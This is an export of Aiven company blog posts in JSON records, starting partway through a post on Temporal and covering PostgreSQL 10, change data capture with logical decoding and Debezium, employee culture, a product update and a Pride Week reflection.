are business rules written as code, and *Activities*, which are encapsulated code to interact with external systems (e.g. ftp, file system, REST API’s, etc.). Both Workflows and Activities are easy for developers to manage because it has built in state, persistence, and retry logic. \n\nThe persistence of Workflows is where Aiven shines: Temporal allows for several databases to be plugged in for durable storage of state, allowing you to focus on getting the most out of Temporal. Like Temporal itself, the database choices of [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\"), [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\") and [Apache Cassandra](https://aiven.io/cassandra \"Aiven for Apache Cassandra product page\") are 100% open source. In addition, logging, monitoring and visualization can be delegated to such services as [OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch product page\"), [Prometheus (Aiven for M3)](https://aiven.io/m3 \"Aiven for M3 product page\") and [Grafana](https://aiven.io/grafana \"Aiven for Grafana product page\"). \n\nAll of these are all available with Aiven. Given that all services can be procured under one roof and fully managed with the same Aiven Terraform provider-well, Temporal and Aiven are practically made for each other!\n## Plugging Temporal into Aiven\n\nThe [Aiven code repository TemporalIO](https://github.com/aiven/aiven-examples/tree/master/solutions/temporalio \"Temporal.io solution | GitHub\") has examples for how to connect Temporal Server to Aiven’s various services: Cassandra, PostgreSQL, MySQL, and Opensearch. We take you through the example code that Temporal provides.\n\n![Aiven and Temporal](//cdn.sanity.io/images/sczeoy4w/production/5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png \"A network diagram illustrating how Temporal services can be combined with Aiven. At the top, there is a Temporal box with four boxes inside labelled Frontend Service, Matching Service, History Service, and Worker Service. Underneath is an Aiven box with three sets of services: the Database options box (Postgres, MySQL, Cassandra) connects to the top box with a two-way arrow; the Metrics/observability (M3/Prometheus, Grafana) box has an incoming arrow from the Temporal box; and the Logs box (OpenSearch) has an arrow going out to the Temporal box.\")\n\nThe added bonus of the pluggable database infrastructure from Temporal and Aiven providing all supporting databases, allows you to quickly switch databases to meet your engineering skill set or for benchmarking different Temporal workflow use cases. So, stay tuned for future blog posts where we will share when and why to choose Cassandra vs MySQL vs Postgres, and additional integrations for M3 and Grafana.\n## Wrapping up\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-28T00:00:00.000Z","seo":{"metaDescription":"Temporal offers a microservice orchestration platform, and Aiven offers data infrastructure. Read why these two are practically made for each other!","metaImage":{"alt":"","asset":{"_ref":"image-624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844-png","_type":"reference"}},"metaTitle":"Just plug it in - Aiven \u0026 Temporal"},"slug":{"_type":"slug","current":"/blog/just-plug-it-in-aiven-and-temporal"},"subtitle":"Temporal offers a microservice orchestration platform, and Aiven offers data infrastructure. Read why these two are practically made for each other!","title":"Just plug it in - Aiven \u0026 Temporal"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4PoclpAeMtnAlYNiEFq4mN","_rev":"CK1sLU2mnwa3vmbYWEbR0s","_type":"post","_updatedAt":"2022-09-08T16:17:52Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We've got great news: **PostgreSQL 10 is now available at Aiven on all major clouds**!\n\nThat means that you can now access it on AWS, Google, Azure, UpCloud, and DigitalOcean clouds. **Worldwide**.\n\nAs with every PostgreSQL release, many of your older queries will simply run faster because of the many performance enhancements. **But, why is PostgreSQL 10 significant?**\n\nAs the 28th _major_ update of the past 30 years, its primary focus is on improving the distribution of massive amounts of data across many nodes...let's look at some specifics.\n\n### PostgreSQL 10: the specifics \n\n**Improved support for parallel queries** \n\nNow, many more scan types are supported and can benefit from parallelization.\n\nDepending on your query, newly added scan types such as parallel index scan and bitmap heap scan can speed it up immensely.\n\nAlso, merge joins are now a supported parallel join type in addition to other join types already supported in the previous release, such as hash joins and nested loop joins.\n\n**Declarative partitioning support.** \n\nWhile you could create partitioning schemes by directly using constraints, inheritance and triggers in past versions of PostgreSQL...\n\n...you can now use simple definitions to create your partitioning setup with PostgreSQL 10.\n\nEven better, the performance of the new partitioning code is _vastly_ improved over older methods.\n\n**Hash indexes**\n\nPostgreSQL 10 brings crash-safe hash index support that also performs far better than before.\n\nNow, you can consider using hash indexes when your queries just need to check for equivalence to increase performance.\n\n**Native logical replication** \n\nPostgreSQL 10 now brings proper support for logical replication in PostgreSQL itself.\n\nLogical replication allows replication between different PostgreSQL versions, finally allowing for zero downtime upgrades to future versions.\n\nYou can also migrate data to and from environments where you don't have access to streaming replication.\n\n### Easily test PostgreSQL 10 with Aiven today  \n\nWith Aiven, you can create a full copy of the data within your existing PostgreSQL service as a new separate PostgreSQL 10 service.\n\nBy _forking_, you can keep your existing PostgreSQL services as-is while testing the latest version for compatibility with your applications.\n\nAnd don't worry, it won't negatively affect the performance of your source service; it just provides an easy and efficient way to test PostgreSQL 10\\. So, let's get started.\n\nP.S. For a full list of features please see the full [PostgreSQL release notes](https://www.postgresql.org/docs/10/release-10.html).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-cb99bc943bbed6237763af9ee4e7848710010ed7-752x405-png","_type":"reference"}},"publishedAt":"2017-10-11T14:55:00.002Z","seo":{"metaDescription":"PostgreSQL 10 is out and we’re the first to support it, not too bad for a small start-up from Finland. Find out what you get with the latest release here.","metaImage":{"alt":"","asset":{"_ref":"image-cb99bc943bbed6237763af9ee4e7848710010ed7-752x405-png","_type":"reference"}},"metaTitle":"Aiven is the first to offer PostgreSQL® 10"},"slug":{"_type":"slug","current":"/blog/aiven-is-first-to-offer-postgresql-10"},"subtitle":"PostgreSQL 10 is out and we’re the first to support it, not too bad for a small start-up from Finland. Find out what you get with the latest release here.","title":"Aiven is the first to offer PostgreSQL® 10"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5wDYGN4Bu5srnQl4prrjqp","_rev":"c9TjXEWyWBArEQcMlwZEy2","_type":"post","_updatedAt":"2023-06-21T08:36:57Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"},{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Change happens all the time. Even in your data. (Yes, it’s shocking, isn’t it.) So what happens when [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") data changes within a table and requires prompt action?\n\nMost of the time, data’s journey through your company’s systems starts and ends with its initial store. Updates are often done to this canonical store in bulk; in fact, if we’re talking about ETL (Extract, Transform, and Load), these updates may run only periodically (for example, daily or weekly) and, as such, are always behind the present moment.\nWhat if the information is needed at a remote point immediately, so that action can be taken in a timely fashion?\n\nA few years ago, periodic bulk updates were the only option for copying an entire database. Fortunately, change happens and progress occurs, and you can now duplicate only the changes during a synchronization operation. \n\nTransferring only the delta (that is, data that has changed) is much more efficient than mirroring or cloning an entire table. What’s more, this change can readily be rolled back to restore the datastore to an earlier state.\nIn this article, we’ll take a look at how Aiven for PostgreSQL captures changed data.\n## Built-in change data capture\nChange data capture (CDC) refers to a set of software design patterns used to determine (and track) the data that has changed. Actions can then be performed on only the changed data, resulting in great savings in resources and time.\nPostgreSQL has built-in functionality for this in the form of a write-ahead log (WAL) that records all the changes that are made. WALs are typically used for data recovery by replaying them to get back to a particular state.\n\nThe WAL, as it turns out, is the actual source of truth about the state of a PostgreSQL instance. You can think of the PostgreSQL tables as a queryable cache of the log.\n## Solving some of the problems: CDC via logical decoding\nIn PostgreSQL, [logical decoding](https://www.postgresql.org/docs/9.4/logicaldecoding-explanation.html \"Logical decoding explained at postgresql.org\") refers to the process of decoding the contents of that WAL into an application-specific form, such as SQL statements.\nA modern approach allows PostgreSQL to keep track of all the database changes by decoding the WAL. PostgreSQL supports multiple different logical decoding output plugins that can output the data in different formats. The CDC WAL-based approach is by far the most efficient among the ones we’ve covered so far. It eliminates the need for double writes by utilising the WAL that PostgreSQL was already writing for crash recovery.\n\nBy using logical decoding for CDC, you can track all DML (´INSERT´, ´UPDATE´, ´DELETE´) changes and allow reading of a specific subset of changes. In fact, a unit of change is merely a committed row of data.\n\nCDC via logical data decoding can be easily be turned on by setting the following parameters in ´postgresql.conf´:\n\n    wal_level=logical  \n    max_replication_slots = 10 # at least one    \n    max_wal_sender = 10 # at least one\n\nThen create a specific [replication role](https://www.postgresql.org/docs/10/sql-createrole.html \"replication role explained at postgresql.org\"):\n\n    $ CREATE ROLE foo REPLICATION LOGIN;\n\nThis sort of approach is supported by many PostgreSQL drivers (including JDBC, and Python psycopg2) and its use extends beyond CDC to replication and auditing. \nThat being said, it has some notable shortcomings. For one thing, CDC via logical decoding cannot replicate DDL changes such as table column additions. There are workarounds for this, like setting up event triggers to have your replication system run the associated DDL, but PostgreSQL doesn’t natively support this yet.\n\nHowever, the available output plugins do not support all data types. Also, in the event of failures, losing a node isn’t handled gracefully as replication slots are not transferred over to standbys failover. \n\nA final limitation is that the changes in a given stream concern only a single logical database, but you can have as many parallel streams going on as you wish.\n\nLet’s look at some variants of this approach.\n### CDC with pg_recvlogical with wal2json\nDeveloped by Euler Taveira de Oliviera and hosted on GitHub, `wal2json` works by decoding logical changes into JSON format. While limited to the data types that JSON normally handles, wal2json is supported by Aiven. And `wal2json` works with the Apache Kafka Debezium plug-in, which we’ll discuss later.\n\n`pg_recvlogical` is a command-line tool enabling the receipt of logical changes. When `pg_recvlogical` is configured together with `wal2json`, all logical changes can be received and written to a file. This is great for simple use cases, but there is one flaw: a single receiver of data writes changes to a single file. If that one file is lost, you lose your entire log of changes.\n### Feeding changes in data directly to an application\nThe simplest CDC approach is probably just pushing the transaction log to the target application that needs to read them. All we need to do is to write all PostgreSQL logical changes directly to the application itself. The data can be transformed in transit and it’s possible to act on it in real time.\n\nThe upsides of this approach are:\n1. Minimal performance impact on the master database.\n2. No changes required to the application nor database tables.\n\nFor many, this direct log-based CDC is the approach of choice.\n\nHowever, having a single receiver of data can represent a vulnerability: if the node hosting your application goes down, so does your capacity to process that change data. Even more critically, when multiple applications need to read the same changes, we could hit problems such as resource locks or performance hits resulting from simultaneous reads of a single WAL. What then?\n### CDC using a streaming platform\nInstead of having several applications directly consume data from PostgreSQL, it’s better to decouple the changes ingestion and delivery phases using a streaming platform to broker change data. We are, of course, talking about Apache Kafka.\n\nAs mentioned above, when every consuming application connects to the PostgreSQL instance separately, there’s likely to be a performance hit on the PostgreSQL instance. Furthermore, there may be issues when multiple applications attempt to access PostgreSQL’s WAL.\n\nContrast that with using Apache Kafka to serve data to the consumer applications. In this scenario, Apache Kafka producers send changes to Kafka, where decoupled consumer applications can consume those changes at their own pace.\n\nThis solves the problem of having a single point of failure that the previous approaches have. In general, the use of a streaming platform allows an arbitrary number of readers to access the same data and enjoy easy post-processing. Also, adding additional consumers will NOT add additional load on the source PostgreSQL database, enabling this solution to scale as needed.\n\nBut everything comes at a cost. You’ve now added another distributed system to the mix, which will increase the complexity of your overall architecture. Be sure that you require this sort of functionality before going this route.\n\nApache Kafka is reliable, scalable and meant for streaming data. And it works even better for CDC when specifically enhanced with CDC in mind.\n### Introducing Debezium\n[Debezium](https://debezium.io/ \"Debezium product page\") is such an enhancement. It’s an abstraction layer, built atop Kafka, that allows your applications or messaging services to respond directly to inserts, updates, and deletes (DML) from your PostgreSQL instance. Debezium acts like a monitoring daemon, scanning the target database for row-level changes and then streaming them in the order they were committed.\n\nDebezium comes with many connectors, including one for Apache Kafka using Kafka Connect; [it supports a variety of databases](https://debezium.io/releases/ \"Overview of Debezium releases\") including [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\"), MongoDB, [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\"), Oracle, SQL Server and [Cassandra](https://aiven.io/cassandra \"Aiven for Cassandra product page\"). \nDebezium uses logical replication to replicate a stream of changes to a Kafka topic; Debezium can run custom transformation code on the data as it is received and supports PostgreSQL’s built-in native `pgoutput` format, `protobuf` output plugin, or `wal2json`, which we discussed earlier.\n\nDebezium frequently forms the basis for Kafka-centric architectures. In such cases you don’t need to know or care ahead of time how, when or by whom the data will be consumed. Once the data is in Kafka we can rely on Kafka Connect connectors to distribute it to multiple downstream systems or stores. And, of course, it works with PostgreSQL changes in real time.\n### Some Debezium - PostgreSQL gotchas\nIt’s important to note that when PostgreSQL master failover occurs, the PostgreSQL replication slot disappears; this prompts the need to recreate the state. If you’re using topics that are not pre-created, they will have the cleanup policy set to `DELETE` and not `COMPACT`, affecting data persistence. \nFurthermore, if you want to propagate both  `UPDATE` and `DELETE` changes, you’ll need to set `REPLICA IDENTITY FULL`.\n\n## Wrapping up\nToday, changed data can be easily captured in PostgreSQL using logical decoding and direct replication, but it’s not perfect. We defined its limits especially in cases of multiple downstream applications requiring the same changes. For a more robust solution, you can use Apache Kafka and Debezium to decouple the capture of PostgreSQL database changes and the replication of that data to a huge variety (and number) of downstream systems.\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n## Sources\n1. Change data capture pipeline from PostgreSQL to Kafka\n\n2. [CDC for a brave New World:  Hannu Valtonen presents at PostgresConf US 2018](https://github.com/aiven/presentations/blob/master/PostgresConf%20US%202018/CDC%20for%20a%20brave%20new%20world%20(N.Y.).pdf)\n\n3. [Debezium.io](https://debezium.io/)\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6fb9b4f3efd82347653e1005e496de0cd63d15f7-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-22T00:00:00.000Z","seo":{"metaDescription":"(Updated) How does PostgreSQL capture changes in data? Read this post for a look at the methods available. ","metaImage":{"alt":"","asset":{"_ref":"image-6fb9b4f3efd82347653e1005e496de0cd63d15f7-1567x844-png","_type":"reference"}},"metaTitle":"Introducing Aiven for PostgreSQL® change data capture"},"slug":{"_type":"slug","current":"/blog/introducing-aiven-for-postgresql-change-data-capture"},"subtitle":"(Updated) How does PostgreSQL capture changes in data? Read this post for a look at the methods available. ","title":"Introducing Aiven for PostgreSQL® change data capture"}
{"__i18n_lang":"en","_createdAt":"2022-09-26T16:07:18Z","_id":"1Lw0M52l6Xc8ia5fdmn8AZ","_rev":"XMqVxILwpPMz4xYxc7p9FZ","_type":"post","_updatedAt":"2022-09-26T16:07:18Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"At Aiven, we all know we’ve grown a lot. We see it twice a month, when new joiners swarm to the office and Slack fills up with warm welcomes from their managers and new teammates. Since the start of 2022, we’ve had more than 20 new joiners each month. \n\nTo illustrate the point, this is our headcount graph:\n\n![Aiven from 4 to 521 employees](//cdn.sanity.io/images/sczeoy4w/production/ee5cf382d52efc193c54738e0f29703effc65dfe-800x486.png)\n\nThanks to all the new joiners, the average tenure of an Aivener right now is only 12 months. Those of us who have been here for two years feel like hardened veterans!\n\nAiven welcomes remote, hybrid and on-premises work, and recruits globally for most positions. Very globally. We have a follow-the-sun team not just on support, but in practice many other functions, too. \n\n![Aiven's global cast](//cdn.sanity.io/images/sczeoy4w/production/e79c01223b2575d90084a38f558d3180955ed069-800x800.png)\n\nSo how does this work in the real world? You’d think we’d be burning up from the friction of online collaboration, cultural diversity and expansion pains. So we asked Aiveners to comment on their tenure at the company, and it turns out we’re not. We’re really not!\n\nWhen asked to describe their favorite memories at Aiven and the lessons they’ve learned, our cast of Crabs talked about how great it was to have a global team, what fun their colleagues are, and how kind and enjoyable the general Aiven vibe is. \n## Favorite Aiven memories\nStarting from the moment we scuttle into the Aiven world, many of us feel connected and supported. When we asked the Crabs for their favorite memories at Aiven, coming to the office for the first time or logging into their first meeting was a big theme.\n\n*First time entering the Helsinki office. It's been nothing but welcoming and cozy, almost like a second home :) - Svenja Spielberg*\n\n*I remember all those warm and smiling faces. The first day truly felt like I had started a new chapter in my life. - Ville Talvitie*\n\n*My first week at Aiven and I heard how thoughtful my supervisor had prepared for me before she went to her vacation. [...] I got a lot of warm welcomes and friendliness from her and other colleagues. - Jin Nguyen*\n\n*Spending my first full day at the office, getting to meet everyone and having lunch in Helsinki with the office crowd. - [Andrew Hindle](http://linkedin.com/in/hindleandrew/)*\n\n*Some of the gang in the office chipping in to help me screw some crates together for an event. We can do strategy, sell Aiven services but also roll up our sleeves and do some \"dirty\" work when we need to. 100%. - Shu Toh*\n\n*First global team meeting (over zoom) Three time zones spanning 12 hours.  - Rachel Romoff*\n\nWorking together online is both challenging and rewarding, but sometimes a face to face meeting can be a game changer. \n\n*On my 3rd visit to Helsinki in June so many colleagues (from different departments) just came to the office to meet me. I felt so welcomed (I'm usually working at home office) and really as a part of Aiven, but also as part of the Helsinki team. When I flew back I REALLY understood: I'm part of it, even if I don't see everyone every day. This feeling of \"arriving\" was amazing! - Markus Jaensch*\n## Whole week of Crabs\nMany sunny memories were made at Aiven’s Crab Week in the spring of 2022, when we all gathered at a resort near Barcelona in Spain to work and play together. Quoting all of them would be impossible, so here are some gems.\n\n*My favorite memory is seeing one of the founders looking at the long tables during a dinner at Crab Week and becoming emotional about the big thing Aiven became and how it is not only a tech company but rather an exceptional group of humans. - Francesco Tisiot*\n\n*When two of my lovely colleagues turned up to a team photo shoot in bathrobes at Crab Week! - Jen Szabo*\n\n*Everyone was so open and inviting. [E]veryone, from Board Members to the C-Suite to the newest employees, was open to talking, hearing your thoughts, and very friendly. - Brendan O’Donnell*\n\n*The cover band was performing \"We Found Love\" by Rihanna and when the chorus dropped, everyone went wild singing and dancing along! - Loren Snodgrass*\n\n*Crab Week formal dinner, with Pasi at my side and Mika [Eloranta] in front of me. I didn’t know at first Mika was an Aiven founder as I missed the first three days of Crab Week, and we got a good laugh out of that later. - Silvia Santillan Nava*\n\n## But is it working?\nIt’s not all play at Aiven - we also work together. But sometimes it’s hard to tell the difference…\n\n*Work can be fun! - Abel Florez*\n\n*[Best memory:] Writing a fake [crab documentary](https://youtu.be/yZkyhTV4CDU) narrated by David Attenborough. - Mark Roberts*\n\n*[I’ve found that] it's still possible to have fun at work, and learn new things. - Tibs*\n\n## We celebrate each other\nWe asked the Crabs to name the most important thing they’d learned at Aiven. It’s clear from the responses that Aiveners are a bright, fun, kind bunch who celebrate all differences - of cultures, people, and opinions. \n\n*I wouldn't say I learned a very important thing, but I did notice very early that special kindness and openness of mind that permeates every interaction. - Antoine Leven*\n\n*We are all humans with our strengths and flaws. We always try to do our best and if we fail, we encourage each other to try again. Life has its ups and downs and it is not the end of the world if something bad happens. There cannot be good days without bad ones. - Ville Talvitie*\n\n*It's not about your age, nor your ego or education, it's about what you bring to the table.  - [Emilia Kronlund](https://www.linkedin.com/in/emiliakronlund/)*\n\n*I can just be me....and it's ok! - Naimi Smith-Vieno*\n\nAnd very importantly, people feel like they’ve grown during their time at Aiven. That’s absolutely the cherry on top of the crab cake!\n\n*I'm now capable of tackling bigger projects and working cross-functionally. - Silvia Santillan Nava*\n\n*Grow and help others grow as well. - Daniel Müller*\n## Going forward\nThinking of crabs, the first thing that most people notice (right after the cool, multifunctional claws!) is that they move sideways. That’s the stuff of legend. But hey, if it’s good enough for them, it’s good enough for us Crabs, right? What matters is that we all move in the same direction, together, in whatever way comes most naturally to each of us. \n\nSince 2016, we’ve sidled from a tiny startup of four people to a vigorously growing community of over 500. Now the Aiven Cast of Crabs is looking forward (or even giving the side-eye!) to a future with even more great colleagues and increasingly awesome work to be done. \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308-jpg","_type":"reference"}},"publishedAt":"2022-09-20T00:00:00.000Z","seo":{"metaDescription":"Aiven's headcount climbed past 500 this September. We asked our Cast of Crabs about their favorite memories and greatest lessons - read what they said!","metaImage":{"alt":"","asset":{"_ref":"image-2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308-jpg","_type":"reference"}},"metaTitle":"In the company of fabulous Crabs"},"slug":{"_type":"slug","current":"/blog/in-the-company-of-fabulous-crabs"},"subtitle":"Aiven's headcount climbed past 500 this September. We asked our Cast of Crabs about their favorite memories and greatest lessons - read what they said!","title":"In the company of fabulous Crabs"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1nsaANIi1D9SCE8n1ZH1E4","_rev":"cEPH2uRN58AU2lp9QO7lij","_type":"post","_updatedAt":"2022-09-08T16:18:54Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"In this week's updates to Aiven we've greatly enhanced project membership management as well as launched Aiven in five new Azure regions.\n\n### Project membership improvements\n\nProject membership management improvements make it easier to share the ownership and management responsibilities of an Aiven project between multiple users in one organization.  You can now promote other team members to project administrators, allowing them to invite more members to the project and to adjust billing settings.\n\nWe've also updated project invite functionality to allow inviting users who haven't yet registered their Aiven accounts.  Such users are invited to sign up to Aiven and once they've signed up the console will display pending invitations for them.  Pending invitations are shown for all users and projects in the console.\n\nThese improvements make it easier for multiple users to start collaborating in Aiven.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/168aa1abaf4658b78dd799b2a5c847b87a208674-400x240.png)\n\n### New Azure regions launched\n\nWe're happy to announce immediate availability of Aiven in five new Azure regions:  All Aiven services are now available in Azure **Japan West** (Osaka), **Japan East** (Tokyo), **East Asia** (Hong Kong), **Southeast Asia** (Singapore) and **Brazil South** (São Paulo) regions.\n\n### Pricing updates\n\nTo reflect the cost differences between different cloud providers and regions we have adjusted pricing of new services in Amazon Web Services and Azure clouds.  Pricing in most AWS regions has been increased for new plans; the prices for current Aiven users will stay unchanged until the end of 2016\n\nWe have no plans for changing Google Cloud, DigitalOcean or UpCloud pricing in the foreseeable future.\n\nWe'd also like to remind you about Aiven's unique feature allowing seamless migrations between cloud providers, making it possible to migrate services to different clouds if needed.\n\n### Trying Aiven is free, no credit card required\n\nOur free trial program is still open: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans.\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\n### We value your feedback\n\nWe are always interested in ways of making our service better.  Please send your feedback and suggestions via\n[email](mailto:support@aiven.io), [Facebook](https://facebook.com/aivencloud),\n[LinkedIn](https://www.linkedin.com/company/aiven) or using our website's live chat.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-09-23T10:14:00.000Z","seo":{"metaDescription":"As Microsoft Azure builds, so does Aiven. Find out what new regions are available and how we’ve improved project management for Aiven services.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"User management improvements and new Azure regions launched"},"slug":{"_type":"slug","current":"/blog/user-improvements-and-new-clouds"},"subtitle":"As Microsoft Azure builds, so does Aiven. Find out what new regions are available and how we’ve improved project management for Aiven services.","title":"User management improvements and new Azure regions launched"}
{"__i18n_lang":"en","_createdAt":"2022-07-13T01:08:21Z","_id":"2rcTIa01PnwrinqKa1L4O5","_rev":"rV9BZDYEBgQp95tIya1J9D","_type":"post","_updatedAt":"2023-06-08T08:10:06Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"*Before I get into the main content of this blog post, I would like to take a moment to pause and honour the memory of those affected by the senseless violence in Oslo Norway last weekend. Two people murdered and 21 injured in an act intended to terrorize and marginalize people who are still struggling with issues of basic equality and human rights around the world. There are no excuses for this behaviour and it cannot be tolerated.*\n\nI’ve been thinking about Pride Week and what it means to me. This leads to a question that many leaders struggle with, especially white hetero cis-male ones who don’t know how to work across all worldviews but are actively trying to learn more: “What can I as a leader do to enable an 2SLBGTQIA+ inclusive workplace?”\n\nThe things we can do are both very easy and very difficult. \n\n## Embracing what I do not know\n\nEverything starts with admitting that this is an area in which I lack experience and expertise. It’s OK to not know things. It’s OK to educate yourself and find the support you need to help others who depend on you. This is the point from which I draw strength. \n\nThis kind of vulnerability is not an easy thing to accept It can even lead to feelings of inadequacy or weakness. That’s also OK. Just keep going regardless.\n\n## Executive allies\n\nI aim to connect the members of Aiven’s #ProudCrabs community with the Executive Team. This way I can serve the greater good and offer my support, enabling a systemic, structured, and accountable relationship between all of us.  This work should be visible within the organization. We should always be open and talk about how to act inclusively. We must also ensure that the company supports all 2SLBGTQIA+ colleagues and families, not only with internal actions but also through public actions, like our support for Helsinki Pride. This is what being an ally is. \n\n## Diversifying the cast\n\nAs a Canadian, I live in a very multicultural society. One of my core visions is having a team that looks like my community - diverse in as many ways as possible. \n\nDespite our multiculturalism, Canada has made some significant errors in how we treat people that are perceived as different. I believe that we are consciously improving and that we have made some progress. It’s not enough yet, but it’s there. I can mirror this within Aiven by leading the hiring of diverse people. I’ve often said, I want to hire the best brains, regardless of the container they arrive in. But saying that and actually following through are two very different tasks. \n\nYou can’t hire a diverse staff in an environment where harassment and other inappropriate behaviour happens. These things can’t be  tolerated, and we must take measures to ensure that everyone feels safe to be themselves at work. \n\nSaying “do not tolerate harassment and inappropriate behaviour” sounds disingenuous, because it kind of is. Harassment and inappropriate behaviour is often insidious and structural, and that means it’s hard for outsiders to see. But even though it’s hard, there’s no room for excuses, just doing the right thing. \n\n## Final bit of advice\n\nThe most important advice that I can give to other non-minority leaders is: take the opportunity to learn from the experience of working with as many diverse people as possible. You got to where you are because you’re good at something, but no one’s good enough at everything to be above learning more. \n\nTake the advice of others, make it safe for them to challenge you on your preconceptions and limited point of view. Let them help you be better. Then you can say that you’re living and working to support Pride. \n\nShow your 2SLBGTQIA+ staff that you can be a real ally and support them the other 51 weeks of the year with Pride. \n\n*2SLBGTQIA+ may be a bit of a Canadian-ism as it references an Indigeneous North American notion of [“Two Spirit” (2S)](https://en.wikipedia.org/wiki/Two-spirit \"Two Spirit | Wikipedia \") and includes Intersex and Asexual people explictly. Also useful to read: [DEFINING 2SLGBTQ+ TERMS](https://www.trentu.ca/currentstudents/sites/trentu.ca.currentstudents/files/documents/Defining%202SLGBTQ+%20Terms%20OoC.pdf \"DEFINING 2SLGBTQ+ TERMS\").\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"As a part of Aiven's Pride partnership, we wanted to talk to our community members and allies. Read about what Pride week means to James Arlen, Aiven's CISO. ","metaImage":{"alt":"","asset":{"_ref":"image-b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's Pride partnership | Read more in our blog"},"slug":{"_type":"slug","current":"/blog/leading-over-the-rainbow"},"subtitle":"As a part of Aiven's Pride partnership, we wanted to talk to our community members and allies. Read about what Pride week means to James Arlen, Aiven's CISO. ","title":"Leading over the rainbow"}
